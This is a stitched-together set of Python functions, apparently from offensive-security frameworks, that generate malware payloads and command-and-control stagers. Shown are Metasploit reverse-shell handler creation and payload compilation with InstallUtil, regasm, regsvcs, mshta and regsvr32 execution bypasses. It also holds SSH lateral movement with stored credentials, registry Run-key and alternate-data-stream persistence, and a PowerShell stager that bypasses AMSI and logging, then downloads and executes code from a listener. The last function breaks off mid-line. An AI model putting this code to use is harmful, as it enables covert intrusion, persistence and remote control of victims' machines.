'rev_tcp' in selected_payobject.path: payload_used = 'windows/meterpreter/reverse_tcp' elif 'rev_https' in selected_payobject.path: payload_used = 'windows/meterpreter/reverse_https' elif 'rev_http' in selected_payobject.path: payload_used = 'windows/meterpreter/reverse_http' # Grab LHOST or RHOST and LPORT values if 'LHOST' in selected_payobject.required_options: lhost_value = selected_payobject.required_options['LHOST'][0] if 'RHOST' in selected_payobject.required_options: rhost_value = selected_payobject.required_options['RHOST'][0] if 'LPORT' in selected_payobject.required_options: lport_value = selected_payobject.required_options['LPORT'][0] # Generate the handler file handler_text = 'use exploit/multi/handler\n' handler_text += 'set PAYLOAD ' + payload_used + '\n' if lhost_value: handler_text += 'set LHOST ' + lhost_value + '\n' elif rhost_value: handler_text += 'set RHOST ' + rhost_value + '\n' else: print(helpers.color("\nError generating handler code, giving up on creating the .rc file\n", warning=True)) skip_handler = True handler_text += 'set LPORT ' + str(lport_value) + '\n' handler_text += 'set ExitOnSession false\n' handler_text += 'exploit -j' if not skip_handler: with open(settings.HANDLER_PATH + handler_name + '.rc', 'w') as handler_out: handler_out.write(handler_text) else: # we do nothing since no handler file is made for native payloads pass return
def shutdown(self, name=''): """ If a server component was started, implement the logic that kills the particular named listener here. """ if name and name != '': print helpers.color("[!] Killing listener '%s'" % (name)) sessionID = self.mainMenu.agents.get_agent_id_db(name) isElevated = self.mainMenu.agents.is_agent_elevated(sessionID) if self.mainMenu.agents.is_agent_present(name) and isElevated: if self.mainMenu.agents.get_language_db(sessionID).startswith("po"): script = """ function Invoke-Redirector { param($ListenPort, $ConnectHost, [switch]$Reset, [switch]$ShowAll) if($ShowAll){ $out = netsh interface portproxy show all if($out){ $out } else{ "[*] no redirectors currently configured" } } elseif($Reset){ $out = netsh interface portproxy reset if($out){ $out } else{ "[+] successfully removed all redirectors" } } else{ if((-not $ListenPort)){ "[!] netsh error: required option not specified" } else{ $ConnectAddress = "" $ConnectPort = "" $parts = $ConnectHost -split(":") if($parts.Length -eq 2){ # if the form is http[s]://HOST or HOST:PORT if($parts[0].StartsWith("http")){ $ConnectAddress = $parts[1] -replace "//","" if($parts[0] -eq "https"){ $ConnectPort = "443" } else{ $ConnectPort = "80" } } else{ $ConnectAddress = $parts[0] $ConnectPort = $parts[1] } } elseif($parts.Length -eq 3){ # if the form is http[s]://HOST:PORT $ConnectAddress = $parts[1] -replace "//","" $ConnectPort = $parts[2] } if($ConnectPort -ne ""){ $out = netsh interface portproxy add v4tov4 listenport=$ListenPort connectaddress=$ConnectAddress connectport=$ConnectPort protocol=tcp if($out){ $out } else{ "[+] successfully added redirector on port $ListenPort to $ConnectHost" } } else{ "[!] netsh error: host not in http[s]://HOST:[PORT] format" } } } } Invoke-Redirector""" script += " -Reset" self.mainMenu.agents.add_agent_task_db(sessionID, "TASK_SHELL", script) msg = "Tasked agent to uninstall Pivot listener " self.mainMenu.agents.save_agent_log(sessionID, msg) elif self.mainMenu.agents.get_language_db(sessionID).startswith("py"): print helpers.color("[!] Shutdown not implemented for python") else: print helpers.color("[!] Agent is not present in the cache or not elevated") pass
def generate(self, obfuscate=False, obfuscationCommand=""): moduleSource = self.mainMenu.stagers.installPath + "/data/module_source/lateral_movement/Invoke-SSHCommand.ps1" if obfuscate: helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand) moduleSource = moduleSource.replace("module_source", "obfuscated_module_source") try: f = open(moduleSource, 'r') except: print helpers.color("[!] Could not read module source path at: " + str(moduleSource)) return "" moduleCode = f.read() f.close() script = moduleCode scriptEnd = "\nInvoke-SSHCommand " # if a credential ID is specified, try to parse credID = self.options["CredID"]['Value'] if credID != "": if not self.mainMenu.credentials.is_credential_valid(credID): print helpers.color("[!] CredID is invalid!") return "" (credID, credType, domainName, userName, password, host, os, sid, notes) = self.mainMenu.credentials.get_credentials(credID)[0] if userName != "": self.options["Username"]['Value'] = str(userName) if password != "": self.options["Password"]['Value'] = str(password) if self.options["Username"]['Value'] == "": print helpers.color( "[!] Either 'CredId' or Username/Password must be specified.") return "" if self.options["Password"]['Value'] == "": print helpers.color( "[!] Either 'CredId' or Username/Password must be specified.") return "" for option, values in self.options.iteritems(): if option.lower() != "agent" and option.lower() != "credid": if values['Value'] and values['Value'] != '': if values['Value'].lower() == "true": # if we're just adding a switch scriptEnd += " -" + str(option) else: scriptEnd += " -" + str(option) + " " + str( values['Value']) if obfuscate: scriptEnd = helpers.obfuscate( psScript=scriptEnd, obfuscationCommand=obfuscationCommand) script += scriptEnd return script
def print_payload_information(pay_object): print(' [*] Language: ' + helpers.color(pay_object.language)) print(' [*] Payload Module: ' + helpers.color(pay_object.path)) return
def cli_menu(self, invoked=False): # Check to see if we're just listing payloads or encoders # If so, do that and then exit if self.command_options.list_payloads: self.print_payloads() sys.exit() elif self.command_options.list_encoders: self.print_encoders() sys.exit() # Now let's check for payloads we're doing if self.command_options.ordnance_payload: payload_found = False for payload in self.active_shellcode.values(): if self.command_options.ordnance_payload.lower() == payload.cli_name: payload_found = True if "LHOST" in payload.required_options: valid_ip = helpers.validate_ip(self.command_options.ip) valid_hostname = helpers.validate_hostname(self.command_options.ip) if valid_ip: payload.required_options["LHOST"][0] = self.command_options.ip elif valid_hostname: if payload.cli_name == 'rev_tcp_dns': payload.required_options["LHOST"][0] = self.command_options.ip else: print(helpers.color("[*] Error: Invalid IP/Hostname specified!", warning=True)) print(helpers.color("[*] Try again?", warning=True)) sys.exit() else: print(helpers.color("[*] Error: Invalid IP/Hostname specified!", warning=True)) print(helpers.color("[*] Try again?", warning=True)) sys.exit() if "LPORT" in payload.required_options: if 0 < self.command_options.port < 65535: payload.required_options["LPORT"][0] = self.command_options.port else: print(helpers.color("[*] Error: Invalid port number provided!", warning=True)) print(helpers.color("[*] Try again?", warning=True)) sys.exit() # Generate the original shellcode payload.cli_gen_shellcode() self.final_shellcode = payload.customized_shellcode # Check if an encoder is being called by the user if self.command_options.encoder is not None: encoder_found_here = False if "BadChars" in payload.required_options: payload.required_options["BadChars"][0] = self.command_options.bad_chars for loaded_encoder in self.active_encoders.values(): if self.command_options.encoder.lower() == loaded_encoder.cli_name: encoder_found_here = True loaded_encoder.cli_encode(payload) if not encoder_found_here: print(helpers.color("[*] Error: Encoder you specified was not found!", warning=True)) print(helpers.color("[*] Try again?", warning=True)) sys.exit() self.final_shellcode = payload.customized_shellcode if invoked: pass else: payload.payload_stats() # If the payload supplied isn't found if not payload_found: print(helpers.color("[*] Error: You specified a non-existent Ordnance payload!", warning=True)) print(helpers.color("[*] Go to start... do not collect $200!", warning=True)) sys.exit()
def compiler(payload_object, invoked=False, cli_object=None): # Check the source code to ensure it is present if payload_object.payload_source_code == '': print(helpers.color("\n [!] ERROR: No payload source code provided.\n", warning=True)) return False else: # print title bar bypass_helpers.title_screen() if not invoked: # Determine the file name to use for output file_name = input('Please enter the base name for output files (default is payload): ').strip() else: file_name = cli_object.o # Basic checks on input while file_name != '' and ("\\" in file_name or "/" in file_name): print(helpers.color("\nPlease provide a base name, not a path, for the output base\n", warning=True)) file_name = input('Please enter the base name for output files (default is payload): ').strip() # If no base name, set it to be payload if file_name == '': file_name = 'payload' # run check to make sure file doesn't exist, if it does # provide a new filename file_name = find_file_name(file_name, payload_object) source_code_filepath = settings.PAYLOAD_SOURCE_PATH + file_name + "." + payload_object.extension # Used when outputting exe files, go figure executable_filepath = settings.PAYLOAD_COMPILED_PATH + file_name + ".exe" dll_filepath = settings.PAYLOAD_COMPILED_PATH + file_name + ".dll" # Always write the source code to disk with open(source_code_filepath, 'w') as source_file: source_file.write(payload_object.payload_source_code) if payload_object.language == 'msbuild': bypass_helpers.title_screen() print_payload_information(payload_object) print(" [*] MSBuild compiles for us, so you just get xml :)") print(" [*] Source code written to: " + helpers.color(source_code_filepath)) elif payload_object.language == 'installutil': if payload_object.required_options['COMPILE_TO_EXE'][0].lower() == 'y': # Compile our CS code into an executable and pass a compiler flag to prevent it from opening a command prompt when run os.system('mcs -platform:x86 -target:winexe -r:System.Configuration.Install,System.Windows.Forms ' + source_code_filepath + ' -out:' + executable_filepath) bypass_helpers.title_screen() if os.path.isfile(executable_filepath): hash_executable(executable_filepath, file_name) print_payload_information(payload_object) print(" [*] Executable written to: " + helpers.color(executable_filepath)) else: print(helpers.color(" [!] ERROR: Unable to create output file.", warning=True)) print(" [*] Source code written to: " + helpers.color(source_code_filepath)) print(" [*] Execute with: " + helpers.color("C:\Windows\Microsoft.NET\Framework\\v4.0.30319\\InstallUtil.exe /logfile= /LogToConsole=false {0}.exe".format(file_name))) elif payload_object.required_options['COMPILE_TO_DLL'][0].lower() == 'y': # Compile our CS code into an executable and pass a compiler flag to prevent it from opening a command prompt when run os.system('mcs -platform:x86 -target:library -r:System.Configuration.Install,System.Windows.Forms ' + source_code_filepath + ' -out:' + dll_filepath) bypass_helpers.title_screen() if os.path.isfile(dll_filepath): hash_executable(dll_filepath, file_name) print_payload_information(payload_object) print(" [*] DLL written to: " + helpers.color(dll_filepath)) else: print(helpers.color(" [!] ERROR: Unable to create output file.", warning=True)) print(" [*] Source code written to: " + helpers.color(source_code_filepath)) print(" [*] Execute with: " + helpers.color("C:\Windows\Microsoft.NET\Framework\\v4.0.30319\\InstallUtil.exe /logfile= /LogToConsole=false {0}.dll".format(file_name))) elif payload_object.language == 'installutil_powershell': if payload_object.required_options['COMPILE_TO_EXE'][0].lower() == 'y': # Compile our CS code into an executable and pass a compiler flag to prevent it from opening a command prompt when run os.system('mcs -platform:x86 -target:winexe -r:System.Configuration.Install,System.Windows.Forms,"/usr/share/powershell/System.Management.Automation.dll" ' + source_code_filepath + ' -out:' + executable_filepath) bypass_helpers.title_screen() if os.path.isfile(executable_filepath): hash_executable(executable_filepath, file_name) print_payload_information(payload_object) print(" [*] Executable written to: " + helpers.color(executable_filepath)) else: print(helpers.color(" [!] ERROR: Unable to create output file.", warning=True)) print(" [*] Source code written to: " + helpers.color(source_code_filepath)) print(" [*] Execute with: " + helpers.color("C:\Windows\Microsoft.NET\Framework\\v4.0.30319\\InstallUtil.exe /logfile= /LogToConsole=false {0}.exe".format(file_name))) elif payload_object.required_options['COMPILE_TO_DLL'][0].lower() == 'y': # Compile our CS code into an executable and pass a compiler flag to prevent it from opening a command prompt when run os.system('mcs -platform:x86 -target:library -r:System.Configuration.Install,System.Windows.Forms,"/usr/share/powershell/System.Management.Automation.dll" ' + source_code_filepath + ' -out:' + dll_filepath) bypass_helpers.title_screen() if os.path.isfile(dll_filepath): hash_executable(dll_filepath, file_name) print_payload_information(payload_object) print(" [*] DLL written to: " + helpers.color(dll_filepath)) else: print(helpers.color(" [!] ERROR: Unable to create output file.", warning=True)) print(" [*] Source code written to: " + helpers.color(source_code_filepath)) print(" [*] Execute with: " + helpers.color("C:\Windows\Microsoft.NET\Framework\\v4.0.30319\\InstallUtil.exe /logfile= /LogToConsole=false {0}.dll".format(file_name))) elif payload_object.language == 'regasm': if payload_object.required_options['COMPILE_TO_DLL'][0].lower() == 'y': # Compile our CS code into an executable and pass a compiler flag to prevent it from opening a command prompt when run os.system('mcs -platform:x86 -target:library -r:System.EnterpriseServices,System.Windows.Forms ' + source_code_filepath + ' -out:' + dll_filepath) bypass_helpers.title_screen() if os.path.isfile(dll_filepath): hash_executable(dll_filepath, file_name) print_payload_information(payload_object) print(" [*] DLL written to: " + helpers.color(dll_filepath)) else: print(helpers.color(" [!] ERROR: Unable to create output file.", warning=True)) print(" [*] Source code written to: " + helpers.color(source_code_filepath)) print(" [*] Execute with: " + helpers.color("C:\Windows\Microsoft.NET\Framework\\v4.0.30319\\regasm.exe /U {0}.dll".format(file_name))) elif payload_object.language == 'regasm_powershell': if payload_object.required_options['COMPILE_TO_DLL'][0].lower() == 'y': # Compile our CS code into an executable and pass a compiler flag to prevent it from opening a command prompt when run os.system('mcs -platform:x86 -target:library -r:System.EnterpriseServices,System.Windows.Forms,"/usr/share/powershell/System.Management.Automation.dll" ' + source_code_filepath + ' -out:' + dll_filepath) bypass_helpers.title_screen() if os.path.isfile(dll_filepath): hash_executable(dll_filepath, file_name) print_payload_information(payload_object) print(" [*] DLL written to: " + helpers.color(dll_filepath)) else: print(helpers.color(" [!] ERROR: Unable to create output file.", warning=True)) print(" [*] Source code written to: " + helpers.color(source_code_filepath)) print(" [*] Execute with: " + helpers.color("C:\Windows\Microsoft.NET\Framework\\v4.0.30319\\regasm.exe /U {0}.dll".format(file_name))) elif payload_object.language == 'regsvcs': if payload_object.required_options['COMPILE_TO_DLL'][0].lower() == 'y': # generate a strong name signing key os.system("sn -k /tmp/key.snk") # Compile our CS code into an executable and pass a compiler flag to prevent it from opening a command prompt when run os.system('mcs -platform:x86 -target:library -keyfile:/tmp/key.snk -r:System.EnterpriseServices,System.Windows.Forms ' + source_code_filepath + ' -out:' + dll_filepath) bypass_helpers.title_screen() if os.path.isfile(dll_filepath): hash_executable(dll_filepath, file_name) print_payload_information(payload_object) print(" [*] DLL written to: " + helpers.color(dll_filepath)) else: print(helpers.color(" [!] ERROR: Unable to create output file.", warning=True)) print(" [*] Source code written to: " + helpers.color(source_code_filepath)) print(" [*] Execute with: " + helpers.color("C:\Windows\Microsoft.NET\Framework\\v4.0.30319\\regsvcs.exe {0}.dll".format(file_name))) elif payload_object.language == 'regsvcs_powershell': if payload_object.required_options['COMPILE_TO_DLL'][0].lower() == 'y': # Compile our CS code into an executable and pass a compiler flag to prevent it from opening a command prompt when run os.system('mcs -platform:x86 -target:library -r:System.EnterpriseServices,System.Windows.Forms,"/usr/share/powershell/System.Management.Automation.dll" ' + source_code_filepath + ' -out:' + dll_filepath) bypass_helpers.title_screen() if os.path.isfile(dll_filepath): hash_executable(dll_filepath, file_name) print_payload_information(payload_object) print(" [*] DLL written to: " + helpers.color(dll_filepath)) else: print(helpers.color(" [!] ERROR: Unable to create output file.", warning=True)) print(" [*] Source code written to: " + helpers.color(source_code_filepath)) print(" [*] Execute with: " + helpers.color("C:\Windows\Microsoft.NET\Framework\\v4.0.30319\\regsvcs.exe {0}.dll".format(file_name))) elif payload_object.language == 'c': if payload_object.required_options['COMPILE_TO_EXE'][0].lower() == 'y': # Compile our C code into an executable and pass a compiler flag to prevent it from opening a command prompt when run os.system('i686-w64-mingw32-gcc -Wl,-subsystem,windows ' + source_code_filepath + ' -o ' + executable_filepath + " -lwsock32") bypass_helpers.title_screen() if os.path.isfile(executable_filepath): hash_executable(executable_filepath, file_name) print_payload_information(payload_object) print(" [*] Executable written to: " + helpers.color(executable_filepath)) else: print(helpers.color(" [!] ERROR: Unable to create output file.", warning=True)) print(" [*] Source code written to: " + helpers.color(source_code_filepath)) elif payload_object.language == 'mshta': bypass_helpers.title_screen() print_payload_information(payload_object) if payload_object.required_options['SCRIPT_TYPE'][0].lower() == 'jscript': print(" [*] HTA code written to: " + helpers.color(source_code_filepath)) print(" [*] Execute with: " + helpers.color("mshta.exe {0}.hta".format(file_name))) elif payload_object.required_options['SCRIPT_TYPE'][0].lower() == 'vbscript': print(" [*] HTA code written to: " + helpers.color(source_code_filepath)) print(" [*] Execute with: " + helpers.color("mshta.exe {0}.hta".format(file_name))) else: print(helpers.color("\n[!] Error: Script type not supported!\n", warning=True)) elif payload_object.language == "regsvr32": bypass_helpers.title_screen() print_payload_information(payload_object) if payload_object.required_options['SCRIPT_TYPE'][0].lower() == 'jscript': print(" [*] COM Scriptlet code written to: " + helpers.color(source_code_filepath)) print(" [*] Execute with: " + helpers.color("regsvr32.exe /s /u /n /i:{0}.sct scrobj.dll".format(file_name))) elif payload_object.required_options['SCRIPT_TYPE'][0].lower() == 'vbscript': print(" [*] COM Scriptlet code written to: " + helpers.color(source_code_filepath)) print(" [*] Execute with: " + helpers.color("regsvr32.exe /s /u /n /i:{0}.sct scrobj.dll".format(file_name))) else: print(helpers.color("\n[!] Error: Script type not supported!\n", warning=True)) else: print(helpers.color("\n [!] ERROR: Invalid payload language in payload module.\n", warning=True)) return False if invoked: handler_code_generator(payload_object, file_name, invoked=True, cli_obj=cli_object) else: handler_code_generator(payload_object, file_name) if os.path.isfile(settings.HANDLER_PATH + file_name + '.rc'): print(" [*] Metasploit RC file written to: " + helpers.color(settings.HANDLER_PATH + file_name + '.rc')) if not invoked: dummy = input('\nPlease press enter to continue >: ') # End of if statement checking to make sure payload_source_code is # not empty return True
def tool_main_menu(self, invoked=False): # This is the main function where everything is called from # Iterate over payloads and find the user selected payload module # invoked is used when another tool is calling this function ordnance_main_command = '' show_ordnance_menu = True if invoked: self.invoked = True while ordnance_main_command == '': if show_ordnance_menu: ordnance_helpers.title_screen() print("Veil-Ordnance Menu") print("\n\t" + helpers.color(len(self.active_shellcode)) + " payloads loaded") print("\t" + helpers.color(len(self.active_encoders)) + " encoders loaded\n") print("Available Commands:\n") for command in sorted(self.ordnance_main_menu_commands.keys()): print("\t" + helpers.color(command) + '\t\t\t' + self.ordnance_main_menu_commands[command]) print() show_ordnance_menu = True ordnance_main_command = input('Veil-Ordnance command: ').strip() # See if we're listing payloads or encoders if ordnance_main_command.lower().startswith('list'): if len(ordnance_main_command.split()) == 1: print() print(helpers.color("[*] Error: You did not provide what you want to list!", warning=True)) print(helpers.color("[*] Ex: list payloads or list encoders", warning=True)) print() ordnance_main_command = '' show_ordnance_menu = False elif len(ordnance_main_command.split()) == 2: list_selection = ordnance_main_command.split()[1] # Check and see what we are listing if list_selection.lower() == 'payloads': ordnance_helpers.title_screen() self.print_payloads() show_ordnance_menu = False print() ordnance_main_command = '' elif list_selection.lower() == 'encoders': ordnance_helpers.title_screen() self.print_encoders() show_ordnance_menu = False print() ordnance_main_command = '' else: show_ordnance_menu = False print() print(helpers.color("[*] Error: You did not provide a valid item to list!", warning=True)) print(helpers.color("[*] Ex: list payloads or list encoders", warning=True)) print() ordnance_main_command = '' else: ordnance_main_command = '' elif ordnance_main_command.lower() == "help": ordnance_main_command = '' elif ordnance_main_command.lower() == "back": ordnance_main_command = '' break elif ordnance_main_command.lower() == "exit": if invoked: break else: sys.exit(0) elif ordnance_main_command.lower().startswith('payload'): if len(ordnance_main_command.split()) < 2: print(helpers.color("[*] Error: You did not provide the payload to use!", warning=True)) print(helpers.color("[*] Ex: use rev_http", warning=True)) ordnance_main_command = '' elif len(ordnance_main_command.split()) > 2: print(helpers.color("[*] Error: You provided too many options!", warning=True)) print(helpers.color("[*] Ex: use rev_http", warning=True)) else: self.selected_payload = ordnance_main_command.split()[1].lower() self.use_payload(self.selected_payload) # If invoked, return the shellcode if self.invoked: return if self.final_shellcode == '': show_ordnance_menu = False self.selected_payload = '' ordnance_main_command = '' else: ordnance_main_command = '' return
def generate(self): listenerName = self.options['Listener']['Value'] # trigger options keyName = self.options['KeyName']['Value'] # storage options regPath = self.options['RegPath']['Value'] adsPath = self.options['ADSPath']['Value'] # management options extFile = self.options['ExtFile']['Value'] cleanup = self.options['Cleanup']['Value'] # staging options userAgent = self.options['UserAgent']['Value'] proxy = self.options['Proxy']['Value'] proxyCreds = self.options['ProxyCreds']['Value'] statusMsg = "" locationString = "" # for cleanup, remove any script from the specified storage location # and remove the specified trigger if cleanup.lower() == 'true': if adsPath != '': # remove the ADS storage location if ".txt" not in adsPath: print helpers.color( "[!] For ADS, use the form C:\\users\\john\\AppData:blah.txt" ) return "" script = "Invoke-Command -ScriptBlock {cmd /C \"echo x > " + adsPath + "\"};" else: # remove the script stored in the registry at the specified reg path path = "\\".join(regPath.split("\\")[0:-1]) name = regPath.split("\\")[-1] script = "$RegPath = '" + regPath + "';" script += "$parts = $RegPath.split('\\');" script += "$path = $RegPath.split(\"\\\")[0..($parts.count -2)] -join '\\';" script += "$name = $parts[-1];" script += "$null=Remove-ItemProperty -Force -Path $path -Name $name;" script += "Remove-ItemProperty -Force -Path HKLM:Software\\Microsoft\\Windows\\CurrentVersion\\Run\\ -Name " + keyName + ";" script += "'Registry persistence removed.'" return script if extFile != '': # read in an external file as the payload and build a # base64 encoded version as encScript if os.path.exists(extFile): f = open(extFile, 'r') fileData = f.read() f.close() # unicode-base64 encode the script for -enc launching encScript = helpers.enc_powershell(fileData) statusMsg += "using external file " + extFile else: print helpers.color("[!] File does not exist: " + extFile) return "" else: # if an external file isn't specified, use a listener if not self.mainMenu.listeners.is_listener_valid(listenerName): # not a valid listener, return nothing for the script print helpers.color("[!] Invalid listener: " + listenerName) return "" else: # generate the PowerShell one-liner with all of the proper options set launcher = self.mainMenu.stagers.generate_launcher( listenerName, encode=True, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds) encScript = launcher.split(" ")[-1] statusMsg += "using listener " + listenerName # store the script in the specified alternate data stream location if adsPath != '': if ".txt" not in adsPath: print helpers.color( "[!] For ADS, use the form C:\\users\\john\\AppData:blah.txt" ) return "" script = "Invoke-Command -ScriptBlock {cmd /C \"echo " + encScript + " > " + adsPath + "\"};" locationString = "$(cmd /c \''more < " + adsPath + "\'')" else: # otherwise store the script into the specified registry location path = "\\".join(regPath.split("\\")[0:-1]) name = regPath.split("\\")[-1] statusMsg += " stored in " + regPath + "." script = "$RegPath = '" + regPath + "';" script += "$parts = $RegPath.split('\\');" script += "$path = $RegPath.split(\"\\\")[0..($parts.count -2)] -join '\\';" script += "$name = $parts[-1];" script += "$null=Set-ItemProperty -Force -Path $path -Name $name -Value " + encScript + ";" # note where the script is stored locationString = "$((gp " + path + " " + name + ")." + name + ")" script += "$null=Set-ItemProperty -Force -Path HKLM:Software\\Microsoft\Windows\\CurrentVersion\\Run\\ -Name " + keyName + " -Value '\"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\" -c \"start -Win Hidden -A \"-enc " + locationString + "\" powershell\"';" script += "'Registry persistence established " + statusMsg + "'" return script
def generate_launcher(self, encode=True, obfuscate=False, obfuscationCommand="", userAgent='default', proxy='default', proxyCreds='default', stagerRetries='0', language=None, safeChecks='', listenerName=None, scriptLogBypass=True, AMSIBypass=True, AMSIBypass2=False): """ Generate a basic launcher for the specified listener. """ if not language: print(helpers.color('[!] listeners/template generate_launcher(): no language specified!')) return None if listenerName and (listenerName in self.mainMenu.listeners.activeListeners): # extract the set options for this instantiated listener listenerOptions = self.mainMenu.listeners.activeListeners[listenerName]['options'] host = listenerOptions['Host']['Value'] launcher = listenerOptions['Launcher']['Value'] stagingKey = listenerOptions['StagingKey']['Value'] profile = listenerOptions['DefaultProfile']['Value'] uris = [a for a in profile.split('|')[0].split(',')] stage0 = random.choice(uris) customHeaders = profile.split('|')[2:] if language.startswith('po'): # PowerShell stager = '$ErrorActionPreference = \"SilentlyContinue\";' if safeChecks.lower() == 'true': stager = helpers.randomize_capitalization("If($PSVersionTable.PSVersion.Major -ge 3){") # ScriptBlock Logging bypass if scriptLogBypass: stager += bypasses.scriptBlockLogBypass() # @mattifestation's AMSI bypass if AMSIBypass: stager += bypasses.AMSIBypass() # rastamouse AMSI bypass if AMSIBypass2: stager += bypasses.AMSIBypass2() stager += "};" stager += helpers.randomize_capitalization("[System.Net.ServicePointManager]::Expect100Continue=0;") stager += helpers.randomize_capitalization("$"+helpers.generate_random_script_var_name("wc")+"=New-Object System.Net.WebClient;") if userAgent.lower() == 'default': profile = listenerOptions['DefaultProfile']['Value'] userAgent = profile.split('|')[1] stager += "$u='"+userAgent+"';" if 'https' in host: # allow for self-signed certificates for https connections stager += "[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};" if userAgent.lower() != 'none' or proxy.lower() != 'none': if userAgent.lower() != 'none': stager += helpers.randomize_capitalization('$'+helpers.generate_random_script_var_name("wc")+'.Headers.Add(') stager += "'User-Agent',$u);" if proxy.lower() != 'none': if proxy.lower() == 'default': stager += helpers.randomize_capitalization("$"+helpers.generate_random_script_var_name("wc")+".Proxy=[System.Net.WebRequest]::DefaultWebProxy;") else: # TODO: implement form for other proxy stager += helpers.randomize_capitalization("$proxy=New-Object Net.WebProxy('"+ proxy.lower() +"');") stager += helpers.randomize_capitalization("$"+helpers.generate_random_script_var_name("wc")+".Proxy = $proxy;") if proxyCreds.lower() == "default": stager += helpers.randomize_capitalization("$"+helpers.generate_random_script_var_name("wc")+".Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;") else: # TODO: implement form for other proxy credentials username = proxyCreds.split(':')[0] password = proxyCreds.split(':')[1] if len(username.split('\\')) > 1: usr = username.split('\\')[1] domain = username.split('\\')[0] stager += "$netcred = New-Object System.Net.NetworkCredential('"+usr+"','"+password+"','"+domain+"');" else: usr = username.split('\\')[0] stager += "$netcred = New-Object System.Net.NetworkCredential('"+usr+"','"+password+"');" stager += helpers.randomize_capitalization("$"+helpers.generate_random_script_var_name("wc")+".Proxy.Credentials = $netcred;") #save the proxy settings to use during the entire staging process and the agent stager += "$Script:Proxy = $"+helpers.generate_random_script_var_name("wc")+".Proxy;" # TODO: reimplement stager retries? #check if we're using IPv6 listenerOptions = copy.deepcopy(listenerOptions) bindIP = listenerOptions['BindIP']['Value'] port = listenerOptions['Port']['Value'] if ':' in bindIP: if "http" in host: if "https" in host: host = 'https://' + '[' + str(bindIP) + ']' + ":" + str(port) else: host = 'http://' + '[' + str(bindIP) + ']' + ":" + str(port) # code to turn the key string into a byte array stager += helpers.randomize_capitalization("$K=[System.Text.Encoding]::ASCII.GetBytes(") stager += "'%s');" % (stagingKey) # this is the minimized RC4 stager code from rc4.ps1 stager += helpers.randomize_capitalization('$R={$D,$K=$Args;$S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.Count])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-bxor$S[($S[$I]+$S[$H])%256]}};') # prebuild the request routing packet for the launcher routingPacket = packets.build_routing_packet(stagingKey, sessionID='00000000', language='POWERSHELL', meta='STAGE0', additional='None', encData='') b64RoutingPacket = base64.b64encode(routingPacket).decode("utf-8") #stager += "$ser="+helpers.obfuscate_call_home_address(host)+";$t='"+stage0+"';" stager += "$ser=%s;$t='%s';$hop='%s';" % (helpers.obfuscate_call_home_address(host), stage0, listenerName) #Add custom headers if any if customHeaders != []: for header in customHeaders: headerKey = header.split(':')[0] headerValue = header.split(':')[1] #If host header defined, assume domain fronting is in use and add a call to the base URL first #this is a trick to keep the true host name from showing in the TLS SNI portion of the client hello if headerKey.lower() == "host": stager += helpers.randomize_capitalization("try{$ig=$"+helpers.generate_random_script_var_name("wc")+".DownloadData($ser)}catch{};") stager += helpers.randomize_capitalization("$"+helpers.generate_random_script_var_name("wc")+".Headers.Add(") stager += "\"%s\",\"%s\");" % (headerKey, headerValue) # add the RC4 packet to a cookie stager += helpers.randomize_capitalization("$"+helpers.generate_random_script_var_name("wc")+".Headers.Add(") stager += "\"Cookie\",\"session=%s\");" % (b64RoutingPacket) stager += helpers.randomize_capitalization("$data=$"+helpers.generate_random_script_var_name("wc")+".DownloadData($ser+$t);") stager += helpers.randomize_capitalization("$iv=$data[0..3];$data=$data[4..$data.length];") # decode everything and kick it over to IEX to kick off execution stager += helpers.randomize_capitalization("-join[Char[]](& $R $data ($IV+$K))|IEX") if obfuscate: stager = helpers.obfuscate(self.mainMenu.installPath, stager, obfuscationCommand=obfuscationCommand) # base64 encode the stager and return it if encode and ((not obfuscate) or ("launcher" not in obfuscationCommand.lower())): return helpers.powershell_launcher(stager, launcher) else: # otherwise return the case-randomized stager return stager if language.startswith('py'): # Python launcherBase = 'import sys;' if "https" in host: # monkey patch ssl woohooo launcherBase += "import ssl;\nif hasattr(ssl, '_create_unverified_context'):ssl._create_default_https_context = ssl._create_unverified_context;\n" try: if safeChecks.lower() == 'true': launcherBase += "import re, subprocess;" launcherBase += "cmd = \"ps -ef | grep Little\ Snitch | grep -v grep\"\n" launcherBase += "ps = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)\n" launcherBase += "out, err = ps.communicate()\n" launcherBase += "if re.search(\"Little Snitch\", out):\n" launcherBase += " sys.exit()\n" except Exception as e: p = "[!] Error setting LittleSnitch in stager: " + str(e) print(helpers.color(p, color='red')) if userAgent.lower() == 'default': profile = listenerOptions['DefaultProfile']['Value'] userAgent = profile.split('|')[1] launcherBase += "import urllib2;\n" launcherBase += "UA='%s';" % (userAgent) launcherBase += "server='%s';t='%s';" % (host, stage0) # prebuild the request routing packet for the launcher routingPacket = packets.build_routing_packet(stagingKey, sessionID='00000000', language='PYTHON', meta='STAGE0', additional='None', encData='') b64RoutingPacket = base64.b64encode(routingPacket).decode("utf-8") launcherBase += "req=urllib2.Request(server+t);\n" # add the RC4 packet to a cookie launcherBase += "req.add_header('User-Agent',UA);\n" launcherBase += "req.add_header('Cookie',\"session=%s\");\n" % (b64RoutingPacket) # Add custom headers if any if customHeaders != []: for header in customHeaders: headerKey = header.split(':')[0] headerValue = header.split(':')[1] #launcherBase += ",\"%s\":\"%s\"" % (headerKey, headerValue) launcherBase += "req.add_header(\"%s\",\"%s\");\n" % (headerKey, headerValue) if proxy.lower() != "none": if proxy.lower() == "default": launcherBase += "proxy = urllib2.ProxyHandler();\n" else: proto = proxy.Split(':')[0] launcherBase += "proxy = urllib2.ProxyHandler({'"+proto+"':'"+proxy+"'});\n" if proxyCreds != "none": if proxyCreds == "default": launcherBase += "o = urllib2.build_opener(proxy);\n" else: launcherBase += "proxy_auth_handler = urllib2.ProxyBasicAuthHandler();\n" username = proxyCreds.split(':')[0] password = proxyCreds.split(':')[1] launcherBase += "proxy_auth_handler.add_password(None,'"+proxy+"','"+username+"','"+password+"');\n" launcherBase += "o = urllib2.build_opener(proxy, proxy_auth_handler);\n" else: launcherBase += "o = urllib2.build_opener(proxy);\n" else: launcherBase += "o = urllib2.build_opener();\n" #install proxy and creds globally, so they can be used with 